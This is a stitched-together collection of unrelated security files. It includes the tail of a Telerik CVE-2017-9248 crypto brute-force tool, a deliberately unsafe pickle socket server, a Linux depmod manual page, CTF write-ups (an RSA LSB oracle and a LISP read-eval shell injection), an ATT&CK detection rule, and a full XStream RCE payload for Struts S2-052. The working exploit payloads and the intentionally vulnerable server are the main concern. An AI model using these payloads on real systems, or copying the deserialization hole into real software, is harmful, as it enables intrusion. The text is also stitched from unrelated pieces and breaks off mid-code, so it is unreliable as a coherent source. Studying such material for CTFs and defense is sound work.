6ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
print("")
def mode_b64e():
print(base64.b64encode(args.parameter.encode()).decode())
print("")
def mode_b64d():
print(base64.b64decode(args.parameter.encode()).decode())
print("")
sys.stderr.write(
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
)
p = argparse.ArgumentParser()
subparsers = p.add_subparsers()
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
decrypt_parser.set_defaults(func=mode_decrypt)
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
encrypt_parser.set_defaults(func=mode_encrypt)
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
brute_parser.set_defaults(func=mode_brutekey)
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
encode_parser.set_defaults(func=mode_b64e)
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
decode_parser.set_defaults(func=mode_b64d)
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
args = p.parse_args()
if len(sys.argv) > 2:
args.func()
|
sec-knowleage
|
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
|
sec-knowleage
|
depmod
===
分析可载入模块的相依性
## 补充说明
**depmod命令** 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。
### 语法
```shell
depmod(选项)
```
### 选项
```shell
-a或--all:分析所有可用的模块;
-d或debug:执行排错模式;
-e:输出无法参照的符号;
-i:不检查符号表的版本;
-m<文件>或system-map<文件>:使用指定的符号表文件;
-s或--system-log:在系统记录中记录错误;
-v或--verbose:执行时显示详细的信息;
-V或--version:显示版本信息;
--help:显示帮助。
```
### 实例
```shell
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
```
* `/home/windsome/EMMA3PF-KernelSource-20080626/install_pos`是我`make mod_install`后,所有模块的存放路径。
* `./boot/System.map`是`make linux`后生成,我拷贝到此目录的。
* `2.6.18_pro500-bcm91250-mips2_fp_be`是我build的linux的版本。
编译linux过程及执行depmod的例子:
```shell
genkernel.sh (at linux-2.6.18_pro500)
#######
export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
export INSTALL_MOD_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf
cd <linux_src_dir>
make
make modules_install
cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p
cd /home/windsome/EMMA3PF-KernelSource-20080626/install_pos
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
```
其他用法:
在linux桌面系统中,当你编译了新的驱动,为了能够用`modprobe ***`加载模块, 你需要先将模块拷贝到`/lib/modules /2.6.31-20-generic`目录下,然后运行`sudo depmod -a`将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中。
如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci。
|
sec-knowleage
|
# Perfect secrecy (crypto 158p, 74 solved)
In the task we get the [source code](challenge.py) of the server application, [encrypted flag](flag.txt) and RSA [public key](key_pub.pem).
The important part is just:
```python
m0 = reader.read(1)
m1 = reader.read(1)
ciphertext = reader.read(private_key.public_key().key_size // 8)
dice = RsaDecrypt(private_key, ciphertext)
for rounds in range(100):
p = [m0, m1][dice & 1]
k = random.randint(0, 2)
c = (ord(p) + k) % 2
writer.write(bytes((c,)))
writer.flush()
```
Other than that we've got textbook RSA decryption, with no padding, so we can use homomorphic properties of RSA.
The server reads from us 2 bytes and then message to decrypt.
Then the message gets decrypted via RSA and last bit of the plaintext is extracted.
Then the bit is used to get one of the bytes we provided, and value `(ord(our_byte)+random.randint(0, 2)) %2` is calculated.
We get back 100 such values.
The setup of the task is pretty obvious Least Significant Bit Oracle, which we described a couple of times already:
- https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit
- https://github.com/p4-team/ctf/tree/master/2016-12-16-sharifctf7/crypto_150_lsb
The twist here is that we don't get the last bit directly.
However, in reality it's not an issue for us, if we consider this for a moment.
The trick is that `random.randint(0, 2)` returns values from `[0,1,2]`:
```
random.randint(a, b)
Return a random integer N such that a <= N <= b.
```
https://docs.python.org/2/library/random.html#random.randint
Let's assume we send values `\1` and `\2` as input bytes, or any other values where one is even and one odd.
- If the last bit was `0` then we select `\1` and add to it one of the random values, getting as result one of `[1,2,3]`
- If the last bit was `1` then we select `\2` and add to it one of the random values, getting as result one of `[2,3,4]`
Now we apply modular division on those results and for bit `0` we get `[1,0,1]` and for bit `1` we get `[0,1,0]`.
If we assume that random values have good distribution, then either of those results have the same probability.
This means that in 100 attempts, if the bit was `0` we should get roughly 33 times `0` and 66 times `1`, and conversly for bit `1` we should get 33 times `1` and 66 times `0`.
We can, therefore, simply calculate which values are prevalent to decide which was the real LSB of plaintext:
```python
def check_bit(data):
one = 0
zero = 0
for result in data:
if result == '\1':
one += 1
else:
zero += 1
print("diff", abs(zero - one))
if one - zero > 10:
return 0
elif zero - one > 10:
return 1
else:
print("not sure for " + str(zero) + " " + str(one))
return -1
```
Just to be sure, we introduce a threshold of 10% - if the difference is too small, we assume we're not sure of the real result, and we would rather repeat the test to make sure.
Now we can get back to the LSB oracle attack.
The whole idea behind the attack is quite simple, and boils down to binary search combined with homomorphic multiplication of the plaintext by modifying ciphertext.
We can multiply plaintext by `2` if we multiply ciphertext by `pow(2,e,n)`.
Proof:
```
ct = pt^e mod n
ct' = ct * 2^e mod n = pt^e mod n * 2^e mod n = 2pt^e mod n
ct'^d = (2pt^e mod n)^d mod n = 2pt^ed mod n = 2pt mod n
```
LSB from oracle tells us if the plaintext is even or odd.
Modulus `n` is a product of 2 large primes, so it has to be odd.
`2*x` has to be even, for any natural number `x`.
If we ask the oracle about `2*PT mod N` then:
- If LSB is `0` (number is still even) then the number was smaller than modulus and therefore `2*PT < N` which means `PT < N/2`
- If LSB is `1` then the number was greater than modulus and therefore `2*PT > N` which means `PT > N/2`
If we then ask about LSB of `4*PT mod N` we can again get one of two possible results:
- If LSB is `0` then either `4*PT < N` which means `PT < N/4` if `PT < N/2` was true, or `PT < 3*N/4` if `PT > N/2` was true in previous step
- If LSB is `1` then either `4*PT > N` which means `PT > N/4` if `PT < N/2` was true, or `PT > 3*N/4` if `PT > N/2` was true in previous step
We can extend this using binary search approach to get upper and lower bounds of the flag in relation to `n`.
Fortunately we've got LSB oracle implemented in our [crypto-commons](https://github.com/p4-team/crypto-commons)
Since we don't want to waste time running the code against the server, until we're sure it works, we can make a simple sanity test to verify if our approach works:
```python
def sanity_test():
import gmpy2
import random
from crypto_commons.generic import bytes_to_long, long_to_bytes
from crypto_commons.oracle.lsb_oracle import lsb_oracle
from crypto_commons.rsa.rsa_commons import modinv
def server_oracle(c):
dice = pow(c, d, n) & 1
result = ""
for rounds in range(100):
p = ['\1', '\2'][dice & 1]
k = random.randint(0, 2)
c = (ord(p) + k) % 2
result += chr(c)
return result
def test_oracle(c):
while True:
response = server_oracle(c)
bit = check_bit(response)
if bit != -1:
return bit
p = gmpy2.next_prime(2 ** 512)
q = gmpy2.next_prime(p)
n = p * q
e = 65537
d = modinv(e, (p - 1) * (q - 1))
flag = "CTF{ala ma kota a sierotka ma rysia}"
long_flag = bytes_to_long(flag)
ct = pow(long_flag, e, n)
multiply_plaintext_by_2 = lambda c: (c * pow(2, e, n)) % n
result = lsb_oracle(ct, multiply_plaintext_by_2, n, lambda c: test_oracle(c))
print(long_to_bytes(result))
sanity_test()
```
In this test we generate some RSA private and public keys, encrypt a random flag and then respond in the same manner as the server.
If we run this we instantly get the right flag, which means it works fine.
Now we can run the real code:
```python
from Crypto.PublicKey import RSA
from crypto_commons.generic import bytes_to_long, long_to_bytes
from crypto_commons.netcat.netcat_commons import nc
from crypto_commons.oracle.lsb_oracle import lsb_oracle
def check_bit(data):
one = 0
zero = 0
for result in data:
if result == '\1':
one += 1
else:
zero += 1
print("diff", abs(zero - one))
if one - zero > 10:
return 0
elif zero - one > 10:
return 1
else:
print("not sure for " + str(zero) + " " + str(one))
return -1
def oracle(payload):
data = ""
while True:
try:
url = "perfect-secrecy.ctfcompetition.com"
port = 1337
s = nc(url, port)
s.settimeout(5)
bytes_payload = long_to_bytes(payload).zfill(128)
s.sendall("\1\2" + bytes_payload)
data = ""
for i in range(100):
data += s.recv(1)
try:
s.close()
except:
pass
print(len(data), data)
if len(data) == 100:
bit = check_bit(data)
if bit != -1:
return bit
except Exception as e:
print('retry ' + str(e) + " data received=" + data + " payload=" + str(payload))
pass
def main():
import codecs
with codecs.open("key_pub.pem", "r") as key_file:
with codecs.open("flag.txt", "rb") as flag_file:
flag_data = bytes_to_long(flag_file.read())
data = key_file.read()
key = RSA.importKey(data)
n = key.n
e = key.e
multiply_plaintext_by_2 = lambda c: (c * pow(2, e, n)) % n
result = lsb_oracle(flag_data, multiply_plaintext_by_2, n, oracle)
print(long_to_bytes(result))
main()
```
The main code is the same as in the sanity test really - we get the encrypted flag and public key, and we pass arguments to the lsb oracle code.
The only new function here is the `oracle` function, which simply connects to the server, and sends payload.
It has some simple fallback mechanisms to handle disconnects and timeouts.
Once we run this code after some time we can finally recover: `CTF{h3ll0__17_5_m3_1_w45_w0nd3r1n6_1f_4f73r_4ll_7h353_y34r5_y0u_d_l1k3_70_m337}`
|
sec-knowleage
|
# T1078-003-windows-多账户同时登陆
## 来自ATT&CK的描述
攻击者可能会获取并滥用本地帐户的凭据,获取初始访问权限,持久性,权限提升或防御逃避。本地帐户是由组织配置的帐户,供用户远程支持,服务使用或在单个系统或服务上进行管理。
通过OS凭据转储,本地帐户也可能被滥用以提升特权和收集凭据。为了特权升级和横向移动,密码重用允许滥用网络上的一组计算机上的本地帐户。
## 测试案例
多个用户同时或者在同一小时内登录到同一台计算机上,通常不会出现在我们观察到的网络中。
登录事件是适用于Windows Vista及更高版本的Windows,适用于Vista之后的版本,登陆事件ID为4624。适用于Vista之前的版本,登陆事件ID为528/540。Windows Vista及更高版本的注销事件ID为4634,Vista之前的注销事件ID为538。登录类型2,3,9和10是值得关注的。有关更多详细信息,请参阅Microsoft的“ [审核登录事件”](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10))页面上的“登录类型”表。
## 检测日志
windows 安全日志
## 测试复现
暂无
## 测试留痕
关注windows登陆事件,并留意登陆类型。适用于Vista之后的版本,登陆事件ID为4624;适用于Vista之前的版本,登陆事件ID为528/540;登录类型2,3,9和10是值得关注的。
## 检测规则/思路
### es规则
思路:统计在一小时内,同一台主机上,登陆的用户是否大于一个
```elk
users_list = search UserSession:Login
users_grouped = group users_list by hostname
users_grouped = from users_grouped select min(time) as earliest_time, max(time) as latest_time count(user) as user_count
multiple_logins = filter users_grouped where (latest_time - earliest_time <= 1 hour and user_count > 1)
output multiple_logins
```
## 相关TIP
[[T1078-003-win-来自公网的登陆失败行为]]
[[T1078-003-win-账户登录失败]]
## 参考推荐
MITRE-ATT&CK-T1078-003
<https://attack.mitre.org/techniques/T1078/003/>
|
sec-knowleage
|
# S2-052 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Details:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## Setup
```
docker compose up -d
```
## Exploit
After launching the environment, visit `http://your-ip:8080/orders.xhtml` to see the showcase page. We need modify the `orders.xhtml` to `order.xml` or modify the `Content-Type` header to `application/xml` to pass the XML data in the body.
So, the package is:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```
If the packet is executed, the file `/tmp/success` will be created in the docker container. We execute `docker compose exec struts2 ls /tmp/`, and we can see `success`.
In addition, we can also download a jspx webshell:

|
sec-knowleage
|
from Crypto.Cipher import AES
from SocketServer import ThreadingMixIn
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import sys
class Hasher:
def __init__(self):
self.aes = AES.new('\x00'*16)
def reset(self):
self.state = '\x00'*16
def ingest(self, block):
"""Ingest a block of 10 characters """
block += '\x00'*6
state = ""
for i in range(16):
state += chr(ord(self.state[i]) ^ ord(block[i]))
self.state = self.aes.encrypt(state)
def final_ingest(self, block):
"""Call this for the final ingestion.
Calling this with a 0 length block is the same as calling it one round
earlier with a 10 length block.
"""
if len(block) == 10:
self.ingest(block)
self.ingest('\x80' + '\x00'*8 + '\x01')
elif len(block) == 9:
self.ingest(block + '\x81')
else:
self.ingest(block + '\x80' + '\x00'*(8-len(block)) + '\x01')
def squeeze(self):
"""Output a block of hash information"""
result = self.state[:10]
self.state = self.aes.encrypt(self.state)
return result
def hash(self, s):
"""Hash an input of any length of bytes. Return a 160-bit digest."""
self.reset()
blocks = len(s) // 10
for i in range(blocks):
self.ingest(s[10*i:10*(i+1)])
self.final_ingest(s[blocks*10:])
return self.squeeze() + self.squeeze()
class HashHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path in ['/favicon.ico', '/index.html']:
# Stop.
self.send_response(409)
return
try:
to_hash = self.path[1:].decode('hex')
except TypeError:
# Bad hex.
self.send_response(418)
return
if to_hash == GIVEN:
# Nice try.
self.send_response(451)
return
result = HASHER.hash(to_hash)
if result != TARGET:
# Wrong
self.send_response(400)
return
self.send_response(200)
self.end_headers()
self.wfile.write(FLAG)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
if __name__=='__main__':
assert(len(sys.argv) >= 3)
HASHER = Hasher()
with open('FLAG.txt') as f:
FLAG = f.read()
GIVEN = 'I love using sponges for crypto'
TARGET = HASHER.hash(GIVEN)
server = ThreadedHTTPServer((sys.argv[1], int(sys.argv[2])), HashHandler)
server.serve_forever()
|
sec-knowleage
|
#include <cstdio>
#include <cstdlib>
#include <cmath>
float weights[128][128][2][2];
int perm[128];
int rots[128];
int newperm[128];
int newrots[128];
int rnd(int l, int r) {
return l + rand() % (r - l + 1);
}
double rnd() {
return rand() / (float(RAND_MAX));
}
int main() {
freopen("/tmp/spec", "r", stdin);
int n;
scanf("%d", &n);
fprintf(stderr, "Started\n");
for (int i = 0; i < n; i++)
for (int j = 0; j < n; j++)
for (int ri = 0; ri < 2; ri++)
for (int rj = 0; rj < 2; rj++)
scanf("%f", &weights[i][j][ri][rj]);
fprintf(stderr, "Scanned\n");
for (int i = 0; i < n; i++) {
perm[i] = i;
rots[i] = 0;
}
int ITER = 30000000;
for (int i = 0; i < ITER; i++) {
if (i % 2 == 0) {
int indices[4];
for (int j = 0; j < 3; j++) {
indices[j] = rnd(1, n-2);
}
indices[3] = indices[2] + indices[1] - indices[0];
if (indices[3] < 1 or indices[3] > n-2) continue;
if (indices[0] >= indices[1]) continue;
if (indices[2] >= indices[3]) continue;
if (indices[0] <= indices[3] and indices[1] >= indices[2]) continue;
int val = 0;
val += weights[perm[indices[0]-1]][perm[indices[0]]][rots[indices[0]-1]][rots[indices[0]]];
val += weights[perm[indices[1]]][perm[indices[1]+1]][rots[indices[1]]][rots[indices[1]+1]];
val += weights[perm[indices[2]-1]][perm[indices[2]]][rots[indices[2]-1]][rots[indices[2]]];
val += weights[perm[indices[3]]][perm[indices[3]+1]][rots[indices[3]]][rots[indices[3]+1]];
int nex = 0;
nex += weights[perm[indices[0]-1]][perm[indices[2]]][rots[indices[0]-1]][rots[indices[2]]];
nex += weights[perm[indices[1]]][perm[indices[3]+1]][rots[indices[1]]][rots[indices[3]+1]];
nex += weights[perm[indices[2]-1]][perm[indices[0]]][rots[indices[2]-1]][rots[indices[0]]];
nex += weights[perm[indices[3]]][perm[indices[1]+1]][rots[indices[3]]][rots[indices[1]+1]];
int r = rnd() < exp(-i / (ITER/20.0));
if (nex < val or r) {
//fprintf(stderr, "OK %d %d\n", i, r);
for (int i = 0; i < n; i++) {
newperm[i] = perm[i];
newrots[i] = rots[i];
}
for (int i = 0; i < indices[1] + 1 - indices[0]; i++) {
newperm[indices[0] + i] = perm[indices[2] + i];
newperm[indices[2] + i] = perm[indices[0] + i];
newrots[indices[0] + i] = rots[indices[2] + i];
newrots[indices[2] + i] = rots[indices[0] + i];
}
for (int i = 0; i < n; i++) {
perm[i] = newperm[i];
rots[i] = newrots[i];
}
}
}
else {
int indices[2];
for (int j = 0; j < 2; j++) {
indices[j] = rnd(1, n - 2);
}
if (indices[0] > indices[1]) continue;
int val = 0;
val += weights[perm[indices[0]-1]][perm[indices[0]]][rots[indices[0]-1]][rots[indices[0]]];
val += weights[perm[indices[1]]][perm[indices[1]+1]][rots[indices[1]]][rots[indices[1]+1]];
int nex = 0;
nex += weights[perm[indices[0]-1]][perm[indices[1]]][rots[indices[0]-1]][1-rots[indices[1]]];
nex += weights[perm[indices[0]]][perm[indices[1]+1]][1-rots[indices[0]]][rots[indices[1]+1]];
int r = rnd() < exp(-i / (ITER/20.0));
if (nex < val or r) {
//fprintf(stderr, "OK2 %d %d\n", i, r);
for (int i = 0; i < n; i++) {
newperm[i] = perm[i];
newrots[i] = rots[i];
}
for (int i = 0; i < indices[1] + 1 - indices[0]; i++) {
newperm[indices[0] + i] = perm[indices[1] - i];
newrots[indices[0] + i] = 1 - rots[indices[1] - i];
}
for (int i = 0; i < n; i++) {
perm[i] = newperm[i];
rots[i] = newrots[i];
}
}
}
}
for (int i = 0; i < n; i++) {
printf("%d\n", perm[i]);
}
for (int i = 0; i < n; i++) {
printf("%d\n", rots[i]);
}
}
/*
for i in range(n):
for j in range(n):
for ri in range(2):
for rj in range(2):
f.write(str(weights[(i, j, ri, rj)])+"\n")
perm = range(n)
rots = [0] * n
print "Loaded"
ITER = 10000000
for i in range(ITER):
if i % 2 == 0:
indices = []
for j in range(3):
indices.append(random.randint(1, n-2))
indices.append(indices[2] + indices[1] - indices[0])
if indices[3] < 1 or indices[3] > n-2: continue
if indices[0] >= indices[1]: continue
if indices[2] >= indices[3]: continue
if indices[0] <= indices[3] and indices[1] >= indices[2]: continue
val = 0
val += weights[(perm[indices[0]-1], perm[indices[0]], rots[indices[0]-1], rots[indices[0]])]
val += weights[(perm[indices[1]], perm[indices[1]+1], rots[indices[1]], rots[indices[1]+1])]
val += weights[(perm[indices[2]-1], perm[indices[2]], rots[indices[2]-1], rots[indices[2]])]
val += weights[(perm[indices[3]], perm[indices[3]+1], rots[indices[3]], rots[indices[3]+1])]
nex = 0
nex += weights[(perm[indices[0]-1], perm[indices[2]], rots[indices[0]-1], rots[indices[2]])]
nex += weights[(perm[indices[1]], perm[indices[3]+1], rots[indices[1]], rots[indices[3]+1])]
nex += weights[(perm[indices[2]-1], perm[indices[0]], rots[indices[2]-1], rots[indices[0]])]
nex += weights[(perm[indices[3]], perm[indices[1]+1], rots[indices[3]], rots[indices[1]+1])]
rnd = random.random() < math.exp(-i / (ITER/20.0))
if nex < val or rnd:
print "Ok", i, rnd
newperm = perm[:]
newrots = rots[:]
for i in range(indices[1] + 1 - indices[0]):
newperm[indices[0] + i] = perm[indices[2] + i]
newperm[indices[2] + i] = perm[indices[0] + i]
newrots[indices[0] + i] = rots[indices[2] + i]
newrots[indices[2] + i] = rots[indices[0] + i]
perm = newperm
rots = newrots
else:
indices = []
for j in range(2):
indices.append(random.randint(1, n-2))
if indices[0] > indices[1]: continue
val = 0
val += weights[(perm[indices[0]-1], perm[indices[0]], rots[indices[0]-1], rots[indices[0]])]
val += weights[(perm[indices[1]], perm[indices[1]+1], rots[indices[1]], rots[indices[1]+1])]
nex = 0
nex += weights[(perm[indices[0]-1], perm[indices[1]], rots[indices[0]-1], 1-rots[indices[1]])]
nex += weights[(perm[indices[0]], perm[indices[1]+1], 1-rots[indices[0]], rots[indices[1]+1])]
rnd = random.random() < math.exp(-i / (ITER/20.0))
if nex < val or rnd:
print "Ok2", i, rnd
newperm = perm[:]
newrots = rots[:]
for i in range(indices[1] + 1 - indices[0]):
newperm[indices[0] + i] = perm[indices[1] - i]
newrots[indices[0] + i] = 1 - rots[indices[1] - i]
perm = newperm
rots = newrots
*/
|
sec-knowleage
|
## Robots (misc)
###ENG
[PL](#pl-version)
We get netcat address where we can play a game after connecting.
The game was: https://en.wikipedia.org/wiki/Robots_%28computer_game%29
The goal of the game was to avoid robots chasing our character and cause them to crash into each other.
After winning the game we get the ability to read contents of the file in the filesystem.
With this power we proceed with reading:
```
/proc/self/environ
/etc/rsyslog.conf
/proc/self/cmdline
/proc/self/exe
```
Reading `cmdline` was very interesting since it told us that the game is written in LISP and we also got the name of the script.
Therefore we read the contents of the script:
```lisp
> robots.lisp
(import 'charset:utf-8 'keyword)
; Original code: http://landoflisp.com/robots.lisp
; To get the flag you'll have to get a shell...
(defun readfile (file)
(let ((in (open file :if-does-not-exist nil)))
(when in
(loop for line = (read-line in nil)
while line do (format t "~a~%" line))
(close in))))
(defun win ()
(format t (colorize 'green "~%Congratulations, you won!!!"))
(loop
(format t "~%What do you want to do?")
(format t "~%~{~a to read a file, ~a to play again, ~a to quit~}~%> "
(mapcar (lambda (x) (colorize 'green x)) '("r" "c" "q")))
(setq c (read))
(ccase c
('r (progn
(format t "File? (FYI flag is not in \"flag\", \"key\", etc.)~%> ")
(readfile (read-line))))
('c (return 1))
('q (return 0)))))
(defun fail ()
(format t (colorize 'red "You lost!")) 0)
(defun colorize (color text)
(setq colors '((gray . 30) (red . 31) (green . 32) (yellow . 33) (blue . 34)))
(format nil
"~c[1;~am~a~c[0m" #\ESC
(cdr (assoc color colors))
text #\ESC))
(defun play-game ()
"Returns 1 if player won and wishes to continue, 0 otherwise"
(loop named main
with directions = '((q . -65) (w . -64) (e . -63) (a . -1)
(d . 1) (z . 63) (x . 64) (c . 65))
for pos = 544
then (progn (format t
"~%~{~a/~a/~a to move, (~a)eleport, (~a)eave: ~}"
(mapcar (lambda (x) (colorize 'blue x)) '("qwe" "asd" "zxc" "t" "l")))
(force-output)
(let* ((c (read))
(d (assoc c directions)))
(cond (d (+ pos (cdr d)))
((eq 't c) (random 1024))
((eq 'l c) (progn
(format t (colorize 'yellow "Good-bye!"))
(return-from main 0)))
(t pos))))
for monsters = (loop repeat 40
collect (random 1024))
then (loop for mpos in monsters
collect (if (> (count mpos monsters) 1)
mpos
(cdar (sort (loop for (k . d) in directions
for new-mpos = (+ mpos d)
collect (cons (+ (abs (- (mod new-mpos 64)
(mod pos 64)))
(abs (- (ash new-mpos -6)
(ash pos -6))))
new-mpos))
'<
:key #'car))))
do (progn
(format t
"~a~%�~{~<�~%�~,650:;~a~>~}�~a"
(format nil "~%-~{~<-~%-~,650:;~64,1,1,'=A~>~}�" '("? GAME ?"))
(loop for p
below 1024
collect (cond ((member p monsters)
(cond ((= p pos) (return-from main (fail)))
((> (count p monsters) 1) (colorize 'yellow #\?))
(t (colorize 'red #\?))))
((= p pos)
(colorize 'green #\�))
(t (colorize 'gray #\ ))))
(format nil "~%L~{~<-~%-~,650:;~64,1,1,'=A~>~}-" '("")))
)
when (loop for mpos in monsters
always (> (count mpos monsters) 1))
return (win)
))
(handler-case
(loop while (= (play-game) 1))
(error (e) (write-line "Invalid command")))
```
And we started with analysis of this code to check for some vulnerabilities.
There are only 3 places where we provide input so we focused on those.
They were using `read` function so we tried to find if it can be exploited.
Then we found this document: http://irreal.org/blog/?p=638
It was exactly what we needed!
By sending payloads:
```
#.(lisp_code)
```
We get remote code execution.
With this we checked how to execute shell commands from LISP and used:
```
#.(run-shell-command "ls")
```
To find the flag in `/getflag/flag` and also a binary `getflag/read_flag` with rights to read it.
We run it:
```
#.(run-shell-command "./getflag/read_flag")
```
To read the flag.
###PL version
Dostajemy adres IP do połączenia za pomocą netcata pod którym możemy zagrać w grę.
Gra to: https://en.wikipedia.org/wiki/Robots_%28computer_game%29
Celem gry jest unikanie goniących nas robotów i powodowanie żeby roboty wpadały na siebie.
Po wygraniu gry dostajemy możliwość przeczytania zawartości pliku z dysku.
Możliwość czytania z plików wykorzystujemy do przeczytania:
```
/proc/self/environ
/etc/rsyslog.conf
/proc/self/cmdline
/proc/self/exe
```
Czytanie `cmdline` było bardzo ciekawe ponieważ powiedziało nam że gra jest napisana w LISPie a także jak nazywa się skrypt.
Dzięki temu mogliśmy odczytać źródło skryptu:
```lisp
> robots.lisp
(import 'charset:utf-8 'keyword)
; Original code: http://landoflisp.com/robots.lisp
; To get the flag you'll have to get a shell...
(defun readfile (file)
(let ((in (open file :if-does-not-exist nil)))
(when in
(loop for line = (read-line in nil)
while line do (format t "~a~%" line))
(close in))))
(defun win ()
(format t (colorize 'green "~%Congratulations, you won!!!"))
(loop
(format t "~%What do you want to do?")
(format t "~%~{~a to read a file, ~a to play again, ~a to quit~}~%> "
(mapcar (lambda (x) (colorize 'green x)) '("r" "c" "q")))
(setq c (read))
(ccase c
('r (progn
(format t "File? (FYI flag is not in \"flag\", \"key\", etc.)~%> ")
(readfile (read-line))))
('c (return 1))
('q (return 0)))))
(defun fail ()
(format t (colorize 'red "You lost!")) 0)
(defun colorize (color text)
(setq colors '((gray . 30) (red . 31) (green . 32) (yellow . 33) (blue . 34)))
(format nil
"~c[1;~am~a~c[0m" #\ESC
(cdr (assoc color colors))
